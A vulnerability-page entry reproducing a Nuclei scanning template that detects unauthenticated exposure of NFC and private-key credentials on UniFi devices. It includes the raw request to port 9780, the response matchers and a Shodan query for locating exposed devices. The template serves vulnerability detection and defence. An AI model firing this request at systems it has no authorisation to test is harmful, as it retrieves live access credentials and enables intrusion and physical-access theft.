unifi-nfc-credentials: UniFi - NFC Credentials

2025-11-07 UniFi PoC Public

Description

An unauthenticated GET to /api/v1/user_assets/touch_pass/keys returns JSON containing live credential material (PEM private key, Apple NFC/express key values, terminal type, TTL, google_pass_auth_key block, version identifiers) over a publicly reachable port — allowing theft and immediate misuse of mobile/NFC access credentials.

PoC

id: unifi-nfc-credentials

info:
  name: UniFi - NFC Credentials
  author: DhiyaneshDk
  severity: high
  description: |
    An unauthenticated GET to /api/v1/user_assets/touch_pass/keys returns JSON containing live credential material (PEM private key, Apple NFC/express key values, terminal type, TTL, google_pass_auth_key block, version identifiers) over a publicly reachable port — allowing theft and immediate misuse of mobile/NFC access credentials.
  reference:
    - https://www.catchify.sa/post/cve-2025-52665-rce-in-unifi-os-25-000
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"UniFi Dream Machine SE"
  tags: unifi,unauth,vuln

http:
  - raw:
      - |
        @Host: {{Host}}:9780
        GET /api/v1/user_assets/touch_pass/keys HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_any(body,"google_pass_auth_key","apple_nfc")'
          - 'contains(content_type, "application/json")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a004730450221008c19b1dbfb599f44dbdcc90045723d51454bceb891a55c21e09282cc2e9768c4022008c3251b8090ddd60547cf617522c9b5926c284b784e3131d47edf73088531c4:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/unifi/unifi-nfc-credentials.yaml

References

Related Vulnerabilities